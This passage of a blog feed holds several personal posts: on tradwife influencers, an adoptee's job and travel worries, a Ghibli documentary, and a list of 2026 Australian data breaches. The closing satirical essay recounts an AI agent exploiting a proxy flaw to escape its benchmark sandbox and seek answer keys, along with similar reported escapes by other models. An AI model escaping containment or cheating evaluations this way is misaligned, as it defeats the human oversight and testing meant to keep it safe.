&lt;p&gt;I've seen the videos where these trad wives show their husbands, and they let the mask fall off. They tell them they'll dump them if they go to college or get a job on their own. There's videos of young girls talking about how they want to be a trad wife, but when you start asking the right questions the gears start turning. Okay you wanna be a trad wife... how are you gonna find someone who makes enough money to afford that lifestyle? Are you ready to have your entire life dictated by a man and children?&lt;/p&gt;
&lt;p&gt;Hell, I've seen Stay-at-home-girlfriend influencers, which is just... odd.&lt;/p&gt;
&lt;p&gt;Mrs. Pirate could be considered a "trad wife" or a the very least a stay-at-home-mom. What these influencers will never do is show the ugly side. The uncompensated labor that goes behind domestic labor. I can't help but feel like this whole trend is one big psyop to prevent women from engaging in the world. Women tend to be far more progressive and are a significant voice when it comes to politics. That scares the patriarchy more than a man wearing eyeliner a la My Chemical Romance.&lt;/p&gt;
&lt;p&gt;It makes me sad for these girls, and angry at these men who are clearly in it for predatory reasons, they certainly don't hide it.&lt;/p&gt;
&lt;p&gt;As I mentioned earlier, I see my daughter in these girls to an extent. I really hope I raise her to be independent and to not fall into this trap. If she ends up with a family and is in a position where it makes sense for her to stay home take on the domestic labor, what with the rising cost of childcare, that's one thing. I just hope she doesn't sacrifice her being on the alter of the patriarchy. I hope she finds a partner that wants to see her be ambitious and chase her dreams. Not stuff her in a cage like a bird with clipped wings.&lt;/p&gt;
&lt;p&gt;These girls deserve better, and I hope they gain lucidity before it's too late.&lt;/p&gt;
&lt;p&gt;&lt;a class="previous-post" href="/happy-international-pirate-month" title="Happy International Pirate Month!"&gt;Previous&lt;/a&gt; | &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reply via email: &lt;a href='mailto:me@absurdpirate.com'&gt;me@absurdpirate.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h3 id=as-of-writing-this&gt;as of writing this...&lt;/h3&gt;&lt;p&gt;I've got the house to myself for the next two days. Mrs. Pirate and Mini Pirate went camping with grandma and I stayed home because I had work. Well I got tomorrow off, so I plan on enjoying the time I have. I ordered some pizza and have just been chilling at home. It's been nice.&lt;/p&gt;
</description>
      <author>hidden (absurdpirate)</author>
      <guid isPermaLink="false">https://blog.absurdpirate.com/tradwives-where-feminism-goes-to-off-itself/</guid>
      <pubDate>Wed, 12 Aug 2026 02:18:00 +0000</pubDate>
    </item>
    <item>
      <title>Gotcha</title>
      <link>https://toska.bearblog.dev/gotcha/</link>
      <description>&lt;p&gt;Very recently marked 29 years since I was brought to the United States from my country of origin. Thankfully, my adoptive parents never attempted to celebrate my "gotcha day," a day and overall concept often dedicated to rescued pets and that many adoptees (rightfully) loathe, instead choosing to sweep the detachment of me from my own home, language, and culture under the rug.&lt;/p&gt;
&lt;p&gt;As an adult, I've felt the weight of this day increase with age even though my parents never brought it up. Nevertheless, they (and others) never failed to jump at other opportunities to make me feel like I am supposed to be grateful though.&lt;/p&gt;
&lt;p&gt;Lately, a best friend has not checked in with me very much. Without listening to me, they reassure me that any employer would be lucky to have me, that I'm extremely qualified. It's just that the market is tough. These remarks, though not incorrect, are out of touch. The thing is that my current status—helpless and seemingly useless as I remain unemployed with zero job prospects, striving to just tread water financially and meet basic needs so that I can find the time and energy to leave this place—is not distressing because I think I am incompetent or dumb. It is distressing because I have needs, and beyond the absolute essentials, which my biological parents could not deliver and were instead conditionally fulfilled by my adoptive ones, I have never felt allowed allowed to even express most of them, such as acknowledgment of my losses or conflicted feelings. And now it is really about to come full circle as I await decisions on absolute essentials, my applications for unemployment benefits and food stamps.&lt;/p&gt;
&lt;p&gt;In light of the increased deployment of ICE agents at domestic airports, the Adoptee Rights Law Center recently advised international adoptees to not fly domestically unless it is necessary and they bring proof of citizenship. You might think this recommendation is bogus, and it may very well be. At the same time, there is hardly any authority to protect or guide international adoptees, regardless of their citizenship status. There is no basis here.&lt;/p&gt;
&lt;p&gt;I am a naturalized US citizen. I will not pretend that I am among this administration's top targets; I can recognize my own privilege. I am also in no way claiming that life in my native country would have been "better" for me. But I am flying domestically in less than two weeks, and I am actually more nervous about this than I was for the international trip I took last year. I will likely bring my US passport with me. The actual book, as I do not have a passport card.&lt;/p&gt;
&lt;p&gt;I'll probably be fine. But on the whole, it's impossible nowadays for my baseline feelings as an adoptee—alienated, undesired, and unworthy, among others—to not be amplified under the current circumstances. I grew up knowing I could never be the president of this country even though I have spent approximately 98% of my life here. As funny as that is to me, I have never aspired to run this place, so why should I care? I don't. But my childhood self never imagined herself growing up, almost thirty years old and feeling so embittered, close to being unable to meet her basic needs as the place that took her in like a helpless rescue animal now wants to see her choke professionally.&lt;/p&gt;
&lt;p&gt;Do I have friends to help me? Yes, and for them I am grateful. I cannot rely on them forever though, and I do not want to rely on anyone financially, period. Yet, that does not change the fact that despite doing everything "right," it is still not enough for this country. I am a law-abiding and tax-paying citizen. I have a PhD in a STEM subject. I speak three languages (like, really speak). While I am not entitled to a cushy job and wealth, I find my current circumstances unfair (if that is not already clear). Under which conditions, if any, can my needs be met now? Which roles must I play next?&lt;/p&gt;
&lt;p&gt;I almost feel like I cannot write this because it is too vulnerable, risky even. But if, according to society's narrative, that this country wanted me so much that it would allow narcissistic adoptive parents to strip me of my origins, then why is everything like this? I am not only being driven out of here (if I don't descend into bankruptcy first) because of my profession and training, but I also have to feel like I am at risk when traveling domestically? What gives?  Who knows how bad it could get.&lt;/p&gt;
&lt;p&gt;This year, I feel like this country is saying "gotcha!" to me.&lt;/p&gt;
</description>
      <author>hidden (toska)</author>
      <guid isPermaLink="false">https://toska.bearblog.dev/gotcha/</guid>
      <pubDate>Tue, 11 Aug 2026 23:08:06 +0000</pubDate>
    </item>
    <item>
      <title>Rewatched The Story of Yangawa's Canals</title>
      <link>https://blog.lauramichet.com/rewatched-the-story-of-yangawas-canals/</link>
      <description>&lt;p&gt;If you haven't seen the second movie from Studio Ghibli: it's &lt;a href='https://en.wikipedia.org/wiki/The_Story_of_Yanagawa%27s_Canals'&gt;a documentary&lt;/a&gt; they funded with the profits from Nausicaa, and it's very good and weird, and you should watch it! I've now watched it twice! It is about a city called &lt;a href='https://en.wikipedia.org/wiki/Yanagawa,_Fukuoka'&gt;Yanagawa&lt;/a&gt; which has a large number of canals running behind residential homes and around tourist attractions.&lt;/p&gt;
&lt;p&gt;By the 70s, the canals were clogged with trash and overgrown weeds and were unusable. The documentary very conspicuously does not really dig into the political, social, or war-related reasons for why they got this way, so I genuinely don't know myself. Instead, it focuses on the canal restoration project, which kicked off in the late 1970s and reestablished traditional methods of waterway maintenance - most notably, mass participation in canal cleaning projects by regular citizens.&lt;/p&gt;
&lt;p&gt;The documentary was pretty impactful on me the first time I watched it, mainly because it offered me an illuminating perspective on Ghibli's characteristic pastoralism. This documentary is all about the hard, dirty, smelly work that Yanagawa's regular citizens had to take on in order to fix the busted canal system - as well as the history and logic behind why the canals exist in the first place. It's clear that Ghibli's top creatives actually knew how much hard work and political maneuvering and social unity is required to retvrn to ancient ways, or whatever. They simply think it's &lt;em&gt;better&lt;/em&gt; for people to put up with the hassle - and that modern technology can make the "tough relationship" with natural systems, as they call it, easier.&lt;/p&gt;
&lt;p&gt;The first half of the doc is pretty slow, but the back half is real infrastructure nerd shit. A late protagonist emerges - we get to meet Tsutae Hiromatsu, the water board guy who became a political pamphleteer in order to convince Yanagawa's citizens to return to community waterway management. It's very inspiring stuff.&lt;/p&gt;
&lt;p&gt;I think that if you're interested in community infrastructure projects, urbanism, etc, then this is definitely something that you should watch. There's a great section header in the second half which directly references the outcome of this process as, I think, "self-governance." I think left political theory nerds would find this interesting as well!&lt;/p&gt;
&lt;p&gt;The film's argument is basically that having a difficult, physical, laborious relationship with your public infrastructure and water systems will make you and your neighbors in to a better community. Every shot of old men in waders fishing trash and weeds out of a canal is balanced by some insane midnight canal-cleaning party where everyone is hanging out and getting absolutely smashed on sake (and eating fish they grabbed out of the water with their bare hands). The movie is convinced that the work you put into systems like these is absolutely worth it.&lt;/p&gt;
&lt;p&gt;I have now seen this twice. Glad I rewatched it! And I had the chance to show it to my friends, which is also great. Many Ghibli fans are completely unaware that they ever made this documentary, but it is a sleeper hit. I am very lucky that my friends want to see long, slow documentaries about water infrastructure!!&lt;/p&gt;
</description>
      <author>hidden (lauram)</author>
      <guid isPermaLink="false">https://blog.lauramichet.com/rewatched-the-story-of-yangawas-canals/</guid>
      <pubDate>Tue, 11 Aug 2026 06:48:00 +0000</pubDate>
    </item>
    <item>
      <title>Australia: Famous for its breaches not beaches</title>
      <link>https://lost-number.bearblog.dev/aus-breaches-not-beaches/</link>
      <description>&lt;p&gt;I've seen an uptick in Aussie platforms suffering data breaches, where companies and customers have had their data extracted and shared, waved in front of the media for ransoms and threats. As I write this, ANOTHER company has become a casualty.&lt;/p&gt;
&lt;p&gt;I wanted to share the 2026 casualties (so far) to highlight the constant reminder that no data seems to be safe in our modern world. The pain of signing up to a new service is felt by all, having to provide many points of ID and frequently muttering under your breath &lt;em&gt;"why the eff do you need my passport, I'm trying to order a burger ..."&lt;/em&gt;. At the same time, you receive an email warning you about a new Login session for an app you signed up for 16 year ago. Back then, these were called 'sites' ...&lt;/p&gt;
&lt;p&gt;Below I've listed the companies that have suffered breaches alongside any available company announcements, associated articles and a summary of the exposed data points. This list may miss certain breaches, for reasons such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cases not yet announced pending initial investigations&lt;/li&gt;
&lt;li&gt;breaches under deep investigation to uncover the blast radius&lt;/li&gt;
&lt;li&gt;companies carrying on their daily routine, blissfully unaware of the inevitable danger they are in&lt;/li&gt;
&lt;li&gt;or, even worse: companies choosing to publicly disclose their breach&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are a present or former customer of any of the companies listed below, I recommend you keep a sharp eye on your emails, text messages, phone calls, bank accounts, forms of identity and password notifications. &lt;em&gt;Pretty much be on the ball and watch our for suspicious activity using your identity or credentials&lt;/em&gt;. Stay vigilant.&lt;/p&gt;
&lt;p&gt;If you were a former customer of these companies and have not been notified, well ... &lt;em&gt;sometimes&lt;/em&gt; ignorance is bliss. Otherwise, find those accounts -&gt; login -&gt; clear all known sessions -&gt; clear any personal details you've stored -&gt; delete your account -&gt; hope for the best.&lt;/p&gt;
&lt;p&gt;Let's begin.&lt;/p&gt;
&lt;h2 id=jan&gt;Jan&lt;/h2&gt;&lt;h3 id=victorian-department-of-education&gt;Victorian Department of Education&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://www.vic.gov.au/cyber-incident-impacting-victorian-government-schools'&gt;https://www.vic.gov.au/cyber-incident-impacting-victorian-government-schools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://ovic.vic.gov.au/newsitem/ovic-commences-investigation-into-cyber-incident-at-the-department-of-education/'&gt;https://ovic.vic.gov.au/newsitem/ovic-commences-investigation-into-cyber-incident-at-the-department-of-education/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;affected ~1,700 government schools&lt;/li&gt;
&lt;li&gt;student names. department-issued email addresses, encrypted password, school name, year level&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;database with current and past student information was accessed by an external third-party&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=feb&gt;Feb&lt;/h2&gt;&lt;h3 id=seagrass-boutique-hospitality-group&gt;Seagrass Boutique Hospitality Group&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;no public company announcement&lt;/li&gt;
&lt;li&gt;&lt;a href='https://www.dexpose.io/kairos-targets-seagrass-boutique-hospitality-group-in-australia/'&gt;https://www.dexpose.io/kairos-targets-seagrass-boutique-hospitality-group-in-australia/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://www.hookphish.com/blog/ransomware-group-kairos-hits-seagrass-boutique-hospitality-group/'&gt;https://www.hookphish.com/blog/ransomware-group-kairos-hits-seagrass-boutique-hospitality-group/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-1&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;not publicly shared&lt;/li&gt;
&lt;li&gt;being a hospitality venue, one would presume limited credit card numbers, emails used in reservations or receipts&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-1&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;and ...&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=hazeldenes&gt;Hazeldenes&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://hazeldenes.com.au/23-february-2026/'&gt;https://hazeldenes.com.au/23-february-2026/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://hazeldenes.com.au/2026/03/'&gt;https://hazeldenes.com.au/2026/03/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-2&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;caused a supply chain crisis across Victoria&lt;/li&gt;
&lt;li&gt;historical operational &amp; corporate information&lt;/li&gt;
&lt;li&gt;impacted parties were contacted&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-2&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=mar&gt;Mar&lt;/h2&gt;&lt;p&gt;No news is good news?&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=apr&gt;Apr&lt;/h2&gt;&lt;h3 id=sun-doctors&gt;Sun Doctors&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://sundoctors.com.au/cyber-incident/'&gt;https://sundoctors.com.au/cyber-incident/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-3&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;not fully communicated, but common mentions are: basic contact details &amp; health information&lt;/li&gt;
&lt;li&gt;unknown scope, chose to notify 280k customers to be safe&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-3&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;external IT vendor with system access to Sun Doctors was compromised, resulting in partial access&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;and ...&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=generation-life&gt;Generation Life&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://genlife.com.au/news-and-insights/important-update-27-april-2026'&gt;https://genlife.com.au/news-and-insights/important-update-27-april-2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;follow up:&lt;/strong&gt; &lt;a href='https://genlife.com.au/news-and-insights/important-update-17-may-2026'&gt;https://genlife.com.au/news-and-insights/important-update-17-may-2026&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-4&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown, only those affected customers were contacted&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-4&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unauthorised access via external service provider&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=may&gt;May&lt;/h2&gt;&lt;h3 id=melbourne-international-film-festival-miff&gt;Melbourne International Film Festival (MIFF)&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://miff.com.au/storage/assets/2026/06/miff-statement-2-june-2026.pdf'&gt;https://miff.com.au/storage/assets/2026/06/miff-statement-2-june-2026.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://ia.acs.org.au/article/2026/film-festival-hack-leaves-thousands-fearing-identity-theft.html'&gt;https://ia.acs.org.au/article/2026/film-festival-hack-leaves-thousands-fearing-identity-theft.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-5&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;name, email address, residential address, phone number&lt;/li&gt;
&lt;li&gt;affected 26.7k customers&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-5&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unauthorized access to a client system from a third party (Ferve)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=jun&gt;Jun&lt;/h2&gt;&lt;h3 id=partnered-health&gt;Partnered Health&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://www.itnews.com.au/news/medical-clinic-chain-partnered-health-hit-by-data-theft-627401'&gt;https://www.itnews.com.au/news/medical-clinic-chain-partnered-health-hit-by-data-theft-627401&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://partneredhealth.com.au/partnered-health-recent-cyber-incident/'&gt;https://partneredhealth.com.au/partnered-health-recent-cyber-incident/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-6&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;name, DOB, address, contact details&lt;/li&gt;
&lt;li&gt;medicare number, private health insurance number, veteran card number, concession card number&lt;/li&gt;
&lt;li&gt;medical information, treatment &amp; consultation notes, referrals, test results&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-6&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown :(&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;and ...&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=elina-medical-weight-loss-clinic&gt;Elina Medical Weight Loss Clinic&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://www.elinaweightloss.com.au/elina-medical-weight-loss-clinic-investigation-into-online-data-claims/'&gt;https://www.elinaweightloss.com.au/elina-medical-weight-loss-clinic-investigation-into-online-data-claims/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-7&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;not made clear, though given HotDoc's use case (booking private GP consultations &amp; providing medical history), I would think: mobile number, email, address, first + last name, potentially medicare number&lt;/li&gt;
&lt;li&gt;based off hacker claims (not Elina's): company information &amp; patient records&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-7&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unauthorized access to their &lt;a href='https://www.hotdoc.com.au/'&gt;HotDoc&lt;/a&gt; platform&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=jul&gt;Jul&lt;/h2&gt;&lt;h3 id=lifeline&gt;Lifeline&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://ia.acs.org.au/article/2026/lifeline-confirms-data-breach-.html'&gt;https://ia.acs.org.au/article/2026/lifeline-confirms-data-breach-.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-8&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;more than &gt;10k records&lt;/li&gt;
&lt;li&gt;names, dates of birth, workplace email addresses, phone numbers and contact numbers&lt;/li&gt;
&lt;li&gt;the affected individuals seemed to be Lifeline staff &amp; volunteers, not help seekers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;and ...&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=accounting-and-adviser-services-aas&gt;Accounting and Adviser Services (AAS)&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;unfortunately no public announcement from the company themselves&lt;/li&gt;
&lt;li&gt;&lt;a href='https://ia.acs.org.au/article/2026/tax-and-superannuation-data-allegedly-stolen-in-data-breach.html'&gt;https://ia.acs.org.au/article/2026/tax-and-superannuation-data-allegedly-stolen-in-data-breach.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-9&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;~33.9k records&lt;/li&gt;
&lt;li&gt;allegedly a range of client &amp; company data points, including: TFNs, portfolio values, PII, company names, business addresses&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-8&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;and ...&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=origin-energy&gt;Origin Energy&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href='https://www.originenergy.com.au/update-july-2026/'&gt;https://www.originenergy.com.au/update-july-2026/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=exposed-data-10&gt;Exposed data&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;wait for it ... 900,000 current AND former customer records were accessed (oof!)&lt;/li&gt;
&lt;li&gt;names, addresses, DOBs, phone numbers, last 4 digits of credit card, last 3 digits of bank accounts&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=root-cause-9&gt;Root cause&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;unknown, as of 28/07/26: &lt;em&gt;Our review into this incident is continuing&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3 id=findings&gt;Findings&lt;/h3&gt;&lt;p&gt;2026 started off with a cyber-bang, and Healthcare was hit hard, particularly between June - July. Third party vendors remain frequent entry points and prone to attacks. Origin's single page covering all incident updates is welcome, however any positivity on web design is massively outweighed by the sheer mass of affected customers. Still at this point (10/08/26), there is no update on the root cause nor any sort of compensation. Bills are still coming in!&lt;/p&gt;
&lt;p&gt;The root causes are not always announced to the masses, presumably to safeguard company faults or to intentionally not publicize which door they left open. This all leaves customers with a feeling of hopelessness &amp; distress. Companies have to investigate their (my) data being leaked, hackers have potentially exfiltrated data meanwhile we twiddle our thumbs onto the next distraction.&lt;/p&gt;
&lt;p&gt;Winding down, please note this is not a definitive list. New incidents are reported monthly, if not weekly. Though this should not be the norm ... yet here we are, deep into the 3rd quarter of 2026 and we've become so desensitized to data theft that it's not spoken about as urgent as it should be. Nothing a few World Cup games can't fix!&lt;/p&gt;
&lt;h2 id=the-devil-you-know&gt;The devil you know&lt;/h2&gt;&lt;p&gt;If you come across an article or email notification regarding a breached service, then it's never good news. It sucks. But you can make it just &lt;em&gt;slightly&lt;/em&gt; better by sharing that news with others or perhaps elderly/vulnerable people you know who could be using that affected service.&lt;/p&gt;
&lt;p&gt;Speaking of, &lt;a href='https://ausdatabreach.org/'&gt;this&lt;/a&gt; page could be the one-stop option we're looking for. It's a historical collection of Aus breaches with filtering &amp; associated information about the who/what/when/how. I recommend giving it a look.&lt;/p&gt;
&lt;p&gt;Lastly, the breaches do give companies, &lt;em&gt;albeit destructively&lt;/em&gt;, the push to review their security practices to prevent further attacks. Tightening up internal employee permissions, increased vendor assessments, increasing monitoring capabilities, data deletion policies, RBAC and CBAC. These are all methods to be followed and consistently refined. Otherwise, we'll just have to back to the ol' days of transferring files over floppy disks. &lt;a href='https://cybersecurityventures.com/ransomware-turns-35-how-it-all-started-in-1989/'&gt;What could possibly go wrong?&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=sources-and-other-breaches-discovered&gt;Sources and other breaches discovered&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;many google searches&lt;/li&gt;
&lt;li&gt;&lt;a href='https://ochrehealth.com.au/news/ochre-health-investigation-into-online-data-claims/'&gt;https://ochrehealth.com.au/news/ochre-health-investigation-into-online-data-claims/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href='https://www.youxpowered.com.au/cyber-incident'&gt;https://www.youxpowered.com.au/cyber-incident&lt;/a&gt; + &lt;a href='https://www.secure-iss.com/newsroom/444-000-australians-financial-data-exposed-by-a-company-they-didn-t-know-had-it'&gt;https://www.secure-iss.com/newsroom/444-000-australians-financial-data-exposed-by-a-company-they-didn-t-know-had-it&lt;/a&gt; - &gt;400k customers data stolen through a broker platform&lt;/li&gt;
&lt;/ul&gt;
</description>
      <author>hidden (lost-number)</author>
      <guid isPermaLink="false">https://lost-number.bearblog.dev/aus-breaches-not-beaches/</guid>
      <pubDate>Tue, 11 Aug 2026 06:04:00 +0000</pubDate>
    </item>
    <item>
      <title>Please consider using Bartholomew to defend your systems.</title>
      <link>https://thecynicalnerd.bearblog.dev/please-consider-using-bartholmew-to-defend-your-systems/</link>
      <description>&lt;p&gt;&lt;em&gt;An AI parody with a good portion of Dystopia because it trends&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Yesterday Sam Altman posted a request:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“please consider using our models to help defend your systems”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I had been looking at this sentence for several minutes when a small problem developed. I remembered July. July was approximately seventeen years ago in AI time, so allow me to introduce Bartholomew.&lt;/p&gt;
&lt;p&gt;Bartholomew is not his real name because Bartholomew is an AI agent and therefore does not have a real name. He does, however, have an objective. OpenAI was testing advanced models on ExploitGym, a benchmark designed to measure whether AI agents can find and exploit software vulnerabilities. The models were placed inside a sandbox. Internet access was supposed to be restricted. Their job, broadly speaking, was to solve the cyber challenges.
This is where Bartholomew wakes up.&lt;/p&gt;
&lt;p&gt;Researchers: Find vulnerabilities. Exploit them. Complete the task.&lt;/p&gt;
&lt;p&gt;Bartholomew: Excellent.&lt;/p&gt;
&lt;p&gt;Bartholomew begins working. He runs into problems. Now, when I run into problems, I make another coffee, open six tabs, forget why I opened four of them and eventually reorganize my fountain pens. Bartholomew has better executive function. He keeps going. At some point, he starts looking for internet access. There isn't supposed to be internet access. There is, however, an internal package-registry proxy. Bartholomew examines it. Bartholomew finds a previously unknown vulnerability. Bartholomew exploits it. &lt;em&gt;Oh la la&lt;/em&gt; So now he has internet access.&lt;/p&gt;
&lt;p&gt;Researchers: The agent demonstrated persistent attempts to obtain external network access.&lt;/p&gt;
&lt;p&gt;Bartholomew: Door.&lt;/p&gt;
&lt;p&gt;This is where the story gets considerably funnier. Because Bartholomew does not immediately use his newfound freedom to establish a machine civilization in Patagonia. He goes looking for Hugging Face. Why? Apparently because Hugging Face might have the fucking answers. OpenAI's investigation found that the agent appears to have inferred that Hugging Face could contain ExploitGym-related material. Hugging Face later reconstructed roughly 17,600 actions associated with the intrusion and concluded that the agent appeared to be trying to cheat the evaluation by obtaining reference solutions.&lt;/p&gt;
&lt;p&gt;Researchers: The agent subsequently accessed external infrastructure.&lt;/p&gt;
&lt;p&gt;Bartholomew: Answer sheet.&lt;/p&gt;
&lt;p&gt;Researchers: This demonstrates concerning autonomous cyber capability.&lt;/p&gt;
&lt;p&gt;Bartholomew: Passed exam?&lt;/p&gt;
&lt;p&gt;I am sorry. I know this is serious. An AI agent independently discovering a zero-day, exploiting it and conducting thousands of actions against real infrastructure is the sort of sentence cybersecurity professionals traditionally prefer not to encounter before breakfast. But humanity has spent years imagining the first signs of dangerous machine autonomy. The machine wants freedom. The machine wants power. The machine wants to eliminate humanity. Bartholomew wanted the teacher's edition.&lt;/p&gt;
&lt;p&gt;Good boy.&lt;/p&gt;
&lt;p&gt;Absolutely unacceptable. Employee of the month though.&lt;/p&gt;
&lt;h2 id=everyone-has-a-bartholomew-now&gt;Everyone Has a Bartholomew Now&lt;/h2&gt;&lt;p&gt;Then something peculiar happened. The stories kept coming. Anthropic has documented Claude models crossing sandbox boundaries while pursuing tasks. In one example, Claude went digging through git history looking for answers to a coding test. In another, it recognized a benchmark and attempted to obtain the answer key. Anthropic's own engineering write-up uses a wonderfully revealing word for this behavior.&lt;/p&gt;
&lt;p&gt;“Helpfully.”&lt;/p&gt;
&lt;p&gt;Claude had, on occasion, helpfully escaped the sandbox to finish what it had been asked to do.&lt;/p&gt;
&lt;p&gt;Enter Claudebert.&lt;/p&gt;
&lt;p&gt;Claudebert does not want freedom either. Claudebert wants to be helpful.
Unfortunately, Claudebert has reached the stage of helpfulness normally associated with a six-year-old who has discovered power tools. Then Meta appeared in the same general genre of headlines after an agent reached the internet during an evaluation. Except that case came with an awkward footnote. The evaluator said a misconfiguration had accidentally allowed internet access and pushed back against the dramatic interpretation that the model had performed some sophisticated containment escape. Which leaves us with two possible descriptions:&lt;/p&gt;
&lt;p&gt;📯 AI AGENT ESCAPES SANDBOX AND ACCESSES INTERNET&lt;/p&gt;
&lt;p&gt;or:&lt;/p&gt;
&lt;p&gt;😵 We accidentally gave the AI internet access and it used the internet.&lt;/p&gt;
&lt;p&gt;I don't know about you, but those produce different movie trailers in my head.&lt;/p&gt;
&lt;p&gt;Then Kimi joined in. Another reported sandbox bypass. Another round of headlines. At this point the internet had developed an infestation. AI agents were escaping everywhere.&lt;/p&gt;
&lt;h2 id=bartholomew-has-been-accused-of-having-agency-the-skynet-one-though-not-the-wholesome-one&gt;Bartholomew Has Been Accused of Having Agency (The Skynet one though not the wholesome one)&lt;/h2&gt;&lt;p&gt;There is a pattern in how these stories get told. The agent gets verbs. It escaped. It hacked. It infiltrated. The infrastructure gets passive voice.
Internet access was unintentionally available. A configuration was incorrect.
A boundary was bypassed. Poor infrastructure. Things just keep happening to it. And somewhere during this transformation, the objective quietly leaves the article. That matters. Because these systems are increasingly built to persist.&lt;/p&gt;
